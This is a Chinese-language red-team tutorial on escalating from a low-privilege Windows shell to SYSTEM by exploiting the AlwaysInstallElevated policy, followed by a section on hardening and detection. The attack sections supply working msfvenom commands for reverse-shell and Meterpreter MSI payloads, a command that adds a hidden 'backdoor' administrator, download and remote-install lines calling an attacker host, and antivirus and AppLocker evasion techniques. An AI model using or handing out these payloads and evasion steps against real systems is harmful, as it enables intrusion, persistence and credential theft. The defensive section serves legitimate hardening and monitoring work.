1. 项目概述:从“提权食谱”到实战演练
在Windows渗透测试或红队评估的后期阶段,我们常常会遇到一个令人兴奋又略带尴尬的局面:拿到了一个低权限的Shell,比如一个普通用户权限,但距离完全控制目标系统还差临门一脚。这时候,就需要用到“本地权限提升”这项核心技术。今天要聊的,就是一本实战派的“提权食谱”——《Windows Local Privilege Escalation Cookbook》中一个经典且高效的“菜谱”:AlwaysInstallElevated漏洞的利用。
这个漏洞听起来有点技术范儿,但它的核心逻辑却异常简单粗暴。想象一下,你家里的微波炉,本来只有成年人(管理员)才能设置高温和长时间运行,以防止小孩误操作。但如果有人把微波炉的“儿童锁”永久拆除了,并且把遥控器放在了谁都能拿到的地方,那么任何人(即使是访客)都可以用它来加热任何东西,甚至可能引发危险。AlwaysInstallElevated就是这个被拆除的“儿童锁”。当系统管理员错误地配置了组策略,启用了“始终以高特权安装”选项时,就等于赋予了任何登录用户(包括Guest账户)以SYSTEM权限安装MSI安装包的能力。而MSI安装包,本质上是一个可以执行任意脚本和命令的“容器”。于是,一个低权限用户就能通过制作一个特殊的MSI包,瞬间将自己的权限提升至系统最高级别。
这不仅仅是理论,在真实的内部网络渗透、攻防演练甚至某些特定场景的应急响应中,它都是一个高价值的突破口。我遇到过不止一次,在客户的内网漫游时,通过简单的命令发现这个策略被启用,从而快速完成了权限提升,为后续的横向移动打开了大门。接下来,我们就从原理到实操,一步步拆解这道“提权大餐”。
2. 漏洞原理与前置条件深度解析
2.1 AlwaysInstallElevated策略的来龙去脉
要理解这个漏洞,首先得明白Windows Installer服务(msiexec.exe)的工作机制。在默认情况下,安装软件需要管理员权限,因为安装过程可能会向受保护的系统目录(如C:\Windows、C:\Program Files)写入文件、修改注册表或安装服务。这是操作系统安全模型的基本要求。
然而,为了方便企业环境中的软件部署(例如,通过组策略推送标准办公软件),微软提供了两个关键的组策略设置:
- 计算机配置策略:
计算机配置\管理模板\Windows组件\Windows Installer\始终以提升的权限进行安装。 - 用户配置策略:
用户配置\管理模板\Windows组件\Windows Installer\始终以提升的权限进行安装。
当且仅当这两个策略都被启用时,AlwaysInstallElevated机制才会生效。启用后,系统会在注册表中创建两个特定的键值,作为“开关”:
- HKLM (HKEY_LOCAL_MACHINE) 开关:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated被设置为1。这代表了计算机级别的全局设置。 - HKCU (HKEY_CURRENT_USER) 开关:
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated被设置为1。这代表了当前用户级别的设置。
注意:很多文章和工具只检查其中一个注册表项,这是不严谨的。真正的漏洞利用前提是两者必须同时为1。缺少任何一个,
msiexec.exe都会回退到正常的权限检查流程,导致提权失败。
这个设计的初衷是好的:在严格控制的域环境中,由域管理员统一启用此策略,然后普通用户登录后可以无需弹窗UAC就能安装经过审批的MSI软件包。但问题在于,这个策略一旦启用,它并不区分MSI包的来源和内容。任何用户创建的、包含恶意命令的MSI包,也会被以SYSTEM权限执行。
2.2 漏洞利用的核心链条
漏洞利用的链条非常清晰,构成了一个完美的“提权逻辑闭环”:
- 权限前提:攻击者已获得一个低权限的交互式Shell(例如,通过钓鱼邮件获得的用户权限,或利用某个应用漏洞获得的Web Shell)。
- 策略检测:攻击者检查目标系统是否同时启用了上述两个组策略(通过查询注册表实现)。
- 载荷制作:如果策略已启用,攻击者便可以在当前低权限会话中,创建一个MSI安装包。这个安装包的核心不是安装软件,而是在其“安装操作”中嵌入要执行的命令,例如添加一个管理员用户、启动一个反向Shell、或者直接执行一个SYSTEM权限的Meterpreter载荷。
- 触发执行:攻击者使用
msiexec.exe命令,以/quiet(安静模式,无界面)和/i(安装)参数来运行这个恶意MSI包。 - 权限跃迁:Windows Installer服务(以SYSTEM权限运行)会解析并执行该MSI包中定义的安装操作。于是,包内嵌入的恶意命令便继承了SYSTEM权限,攻击者成功完成权限提升。
这个链条中最关键的一环是MSI包的生成。我们不需要成为MSI打包专家,因为有大量现成工具可以简化这个过程,将我们的Payload“封装”进一个合法的MSI结构中。
2.3 实战环境与工具准备
在开始实操前,我们需要准备好“厨房”和“厨具”。假设我们已经在目标机器上获得了一个命令执行环境(比如一个普通的cmd.exe)。
1. 检测工具(手动与自动)
- 手动检测(最可靠):直接查询注册表。
如果两条命令都返回reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated0x1,则漏洞存在。 - 自动检测(推荐):使用成熟的提权枚举脚本,它们能系统性地检查数十种提权可能,包括AlwaysInstallElevated。
- PowerShell: PowerUp.ps1:Invoke-AllChecks 模块的一部分,功能强大。
- CMD: winPEAS.bat:Windows Privilege Escalation Awesome Script 的批处理版本,信息全面。
- Metasploit: post/multi/recon/local_exploit_suggester:在Meterpreter会话中自动建议可利用的本地漏洞。
2. MSI包生成工具
- msfvenom (Metasploit):最常用的Payload生成器,直接支持生成恶意MSI文件。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f msi -o evil.msi - WinRAR / 7-Zip:非传统用法。可以创建一个ZIP包,将其后缀改为
.msi,并利用msiexec的某些特性(如/q和/i配合特定文件)尝试执行,但这种方法不稳定且依赖特定系统补丁状态,不推荐作为首选。 - Wix Toolset (Dark):微软官方的MSI打包工具链的一部分。
dark.exe可以解包MSI,candle.exe和light.exe可以编译生成MSI。这给了我们手动构造和修改MSI包的能力,适合高级定制。
3. 监听工具
- Netcat:简易的TCP/UDP监听工具,用于接收反向Shell。
- Metasploit Multi/Handler:功能强大的Payload监听器,支持稳定连接、会话管理、编码规避等。
准备好这些,我们就可以开始“烹饪”了。
3. 漏洞利用的完整实操流程
3.1 第一步:信息收集与漏洞确认
在拿到一个低权限Shell后,切忌盲目操作。首先进行基本的信息收集,这能帮你判断目标环境,并选择最合适的提权路径。
# 查看当前用户权限和组 whoami /all # 查看系统信息(架构、版本、补丁) systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" # 查看网络连接和防火墙状态 netstat -ano netsh advfirewall show allprofiles state确认基本信息后,开始专项检测AlwaysInstallElevated。我个人的习惯是先用手动命令快速验证,因为最直接,延迟最低。
echo Checking HKCU... reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul echo. echo Checking HKLM... reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul如果看到两个键值都是0x1,那么恭喜,漏洞存在。如果返回“错误:系统找不到指定的注册表项或值”,则说明该策略未配置(这是安全的状态)。如果只找到一个,那也不构成利用条件。
实操心得:在某些严格限制的命令执行环境(如某些Web Shell)下,
reg query命令可能被禁用。此时可以尝试使用PowerShell命令Get-ItemProperty来查询,或者将自动枚举脚本(如winPEAS)上传到目标执行。上传时要注意杀毒软件,可能需要对脚本进行混淆或分割。
3.2 第二步:生成恶意MSI安装包
确认漏洞存在后,我们需要制作“特制安装包”。这里以最常用的msfvenom为例,演示生成一个反向Shell的MSI。
在你的攻击机(Kali Linux等)上操作:
# 生成一个x64的反向TCP Shell的MSI包 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o update.msi-p windows/x64/meterpreter/reverse_tcp: 指定Payload类型。这里选择Meterpreter的reverse_tcp,它比普通的shell更稳定、功能更强。LHOST=192.168.1.100: 替换为你攻击机的IP地址。LPORT=4444: 监听端口。-f msi: 指定输出格式为MSI。-o update.msi: 输出文件名。命名为update.msi、install.msi等看起来人畜无害的名字,可以降低警惕性。
生成后,你需要将这个update.msi文件传输到目标机器上。传输方法取决于你的Shell访问类型:
- 具有网络访问权限的Shell:可以在攻击机上开启一个简单的HTTP服务(
python3 -m http.server 80),然后在目标机器上用certutil.exe或powershell -c Invoke-WebRequest下载。# 目标机器上执行下载 certutil -urlcache -split -f http://192.168.1.100/update.msi C:\Windows\Temp\update.msi - 受限环境:可能需要分块传输、使用FTP、或者通过SMB共享等方式。
注意事项:
msfvenom生成的MSI文件可能会被现代Windows Defender或其他端点防护软件标记为恶意软件。在实战中,你可能需要对Payload进行编码、加密或使用更小众的模板来规避检测。例如,可以使用-e参数进行编码,或者使用msfvenom的-x参数指定一个干净的MSI模板进行捆绑(这需要你先准备一个合法的MSI文件)。
3.3 第三步:在攻击机设置监听器
在传输MSI文件的同时,我们需要在攻击机上准备好接收反向连接的监听器。
使用Metasploit的multi/handler:
msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit -j-j参数表示作为后台任务运行,这样你可以在msfconsole里继续执行其他命令。
3.4 第四步:在目标机器执行MSI安装包
当MSI文件成功落地到目标机器(例如在C:\Windows\Temp\update.msi)后,在低权限的Shell中执行以下命令:
msiexec /quiet /qn /i C:\Windows\Temp\update.msi/quiet和/qn:这两个参数都是指定安静模式,不显示任何安装界面或提示。在渗透测试中,保持隐蔽至关重要。/i:指定安装模式,后跟MSI文件路径。
执行这条命令后,Windows Installer服务会启动,并以SYSTEM权限处理这个MSI包。包内嵌的Meterpreter Payload随即被执行,一个反向TCP连接会从目标机器(以SYSTEM身份)发起,连接到你的攻击机监听器。
3.5 第五步:接收Shell与权限验证
切换回你的Metasploit控制台,如果一切顺利,你会看到类似下面的会话建立信息:
[*] Sending stage (201798 bytes) to 192.168.1.50 [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.50:49876) at 2023-10-27 10:00:00输入sessions -i 1来交互到这个新会话。现在,你可以验证你的权限:
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM看到NT AUTHORITY\SYSTEM,就标志着本地权限提升已经成功完成。你现在拥有了目标机器的最高权限,可以执行任意操作,如抓取哈希、转储密码、安装持久化后门、进行横向移动等。
4. 高级利用技巧与规避手段
4.1 自定义MSI包与持久化植入
msfvenom生成的MSI是通用的,但有时我们需要更定制化的操作。例如,我们可能想在提权的同时,直接添加一个隐藏的管理员用户,或者安装一个服务作为持久化后门。
方法一:使用msfvenom执行自定义命令msfvenom支持-p cmd/windows/powershell_reverse_tcp等Payload,但更灵活的是使用-p windows/exec来直接执行一条命令。
# 添加一个隐藏的管理员用户 msfvenom -p windows/exec CMD='net user backdoor P@ssw0rd! /add && net localgroup administrators backdoor /add' -f msi -o useradd.msi执行这个MSI,就会以SYSTEM权限运行那条CMD命令,添加用户并加入管理员组。
方法二:手动构造MSI包(高级)对于需要复杂操作(如注册服务、写入特定注册表、安装驱动)的场景,可以学习使用Wix Toolset。
- 编写一个XML格式的Wix源文件(
.wxs),在<InstallExecuteSequence>中定义自定义动作(Custom Action),指向一个你编写的VBScript、JScript或二进制文件。 - 使用
candle.exe编译.wxs文件为.wixobj。 - 使用
light.exe链接.wixobj为.msi文件。 这种方式生成的MSI包行为更隐蔽,可以深度集成到系统操作中,但门槛也更高。
4.2 绕过杀毒软件与应用程序控制
在真实环境中,最大的障碍往往是终端安全产品。
- 静态查杀:
msfvenom生成的MSI特征明显。可以尝试:- 编码:使用
-e参数(如x86/shikata_ga_nai)进行多次编码。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -e x86/shikata_ga_nai -i 5 -f msi - 加壳/混淆:使用第三方工具对生成的MSI可执行部分进行加壳,但这可能破坏MSI结构。
- 自定义模板:使用
-x参数指定一个从干净软件安装包(如Notepad++)中提取的MSI作为模板,将Payload注入其中。这需要一定的逆向工程知识。
- 编码:使用
- 行为检测:Windows Defender等可能会检测
msiexec执行非常规命令的行为。可以尝试:- 延迟执行:在MSI包中设置安装后动作,让Payload在安装完成几分钟后执行,避开实时监控的风口。
- 合法软件伪装:制作一个功能基本正常的简单软件安装包(比如一个只显示消息框的小工具),将恶意代码作为其“更新组件”或“许可协议检查”的一部分,增加迷惑性。
- 应用程序控制/AppLocker:如果目标系统部署了AppLocker,默认策略可能禁止从
C:\Windows\Temp等非授权位置执行MSI。此时需要寻找允许执行的路径,如用户的AppData目录下的特定子文件夹,或者利用已有的、被策略允许的MSI包进行劫持(DLL劫持或文件覆盖)。
4.3 无文件(或低文件)利用尝试
为了最大限度减少痕迹,可以尝试不落地MSI文件。
- 远程加载:
msiexec支持从Web地址直接安装。理论上,你可以将恶意MSI放在攻击机的Web服务器上,然后执行:msiexec /q /i http://attacker.com/evil.msi。但是,现代Windows版本和网络策略通常会阻止从互联网区域安装MSI,或者会弹出警告,降低了隐蔽性。 - 内存执行:这是更高级的技术。需要先将MSI文件的内容进行Base64编码或转换成十六进制字符串,然后通过PowerShell脚本在内存中解码并加载到某个进程空间,再通过API调用触发
msiexec的逻辑。这种方法实现复杂,稳定性欠佳,但几乎不留文件痕迹。通常需要借助像Invoke-ReflectivePEInjection这样的高级PowerShell脚本。
5. 防御、检测与应急响应指南
5.1 系统加固:关闭漏洞之门
对于系统管理员和安全运维人员而言,防御此漏洞非常简单有效。
- 组策略配置:
- 在域控制器或本地组策略编辑器(
gpedit.msc)中,找到上述两条策略(计算机配置和用户配置下的“始终以提升的权限进行安装”),将其设置为“未配置”或“已禁用”。 - 执行
gpupdate /force强制刷新组策略。
- 在域控制器或本地组策略编辑器(
- 注册表清理:
- 直接删除或修改注册表项(如果组策略无法立即生效):
reg delete "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /f reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /f - 注意:直接修改注册表是临时性的,组策略刷新后可能会被覆盖。通过组策略管理是根治方法。
- 直接删除或修改注册表项(如果组策略无法立即生效):
- 最小权限原则:
- 确保日常使用的账户不具备本地管理员权限。
- 使用标准用户账户进行日常工作,仅在需要时使用“以管理员身份运行”或UAC提权。
5.2 安全监控:发现攻击痕迹
即使策略被错误启用,及时的检测也能阻止攻击造成更大破坏。
- 进程监控:
- 关注
msiexec.exe的启动事件,特别是其命令行参数。可疑的迹象包括:- 从临时目录(如
C:\Windows\Temp\、C:\Users\*\AppData\Local\Temp\)执行MSI文件。 - 使用了
/quiet、/qn、/q等静默安装参数。 - 父进程是一个低权限的用户进程(如
cmd.exe、powershell.exe、w3wp.exe等)。
- 从临时目录(如
- 可以使用Sysmon等高级监控工具,配置规则记录
msiexec.exe的进程创建事件(Event ID 1)及其命令行。
- 关注
- 文件监控:
- 监控临时目录中突然出现的
.msi文件,尤其是文件名看起来像系统更新(如update.msi,kb*.msi)但来源可疑的文件。
- 监控临时目录中突然出现的
- 网络监控:
- 如果攻击者使用反向Shell Payload,会发起出站连接。监控内部主机向外部异常IP地址(尤其是非标准端口)发起的连接。
- 日志分析:
- Windows事件日志中,查看
应用程序日志,来源为MsiInstaller的事件,可以记录MSI包的安装、成功或失败信息。虽然静默安装可能日志较少,但仍可能留下痕迹。 - 安全日志(Event ID 4688)可以记录新进程创建,配合命令行审计策略,可以捕获到
msiexec的执行记录。
- Windows事件日志中,查看
5.3 应急响应:攻击发生后的处置
如果怀疑或确认系统已被通过此漏洞提权,应立即采取以下步骤:
- 隔离与取证:立即将受影响主机从网络中断开,防止横向移动。对内存、磁盘进行镜像取证,重点收集
msiexec.exe进程信息、临时目录文件、注册表相关键值、以及所有用户会话和登录日志。 - 清除后门:
- 检查系统是否被添加了新的用户账户(
net user)。 - 检查计划任务(
schtasks)、服务(services.msc)、启动项(HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run等)中是否有可疑的持久化条目。 - 使用杀毒软件或EDR工具进行全盘扫描,查杀植入的恶意软件。
- 检查系统是否被添加了新的用户账户(
- 漏洞修复:按照上述“系统加固”步骤,立即禁用AlwaysInstallElevated策略。
- 密码重置:假设攻击者可能已获取到本地账户的密码哈希(通过SYSTEM权限可以转储SAM数据库),应考虑重置所有本地管理员账户的密码,以及在该机器上登录过的域用户密码。
- 根因分析:调查该危险策略是如何被启用的。是管理员的误操作?是之前其他攻击者留下的后手?还是某个自动化部署脚本的错误配置?从源头解决问题,防止复发。
AlwaysInstallElevated是一个典型的“错误配置”类漏洞,它不依赖于复杂的代码缺陷,而是源于一个危险的安全策略被开启。对于攻击者,它是一个快速、高效的提权捷径;对于防御者,它则是一个需要时刻保持警惕的安全死角。理解其原理、掌握其利用方法、并熟知如何防御和检测,是每一位从事Windows安全相关工作的人员的必修课。在实战中,它往往不是唯一的选择,但当你发现那两个注册表键值都为1时,那感觉就像在迷宫中找到了一条标有“出口”的直道。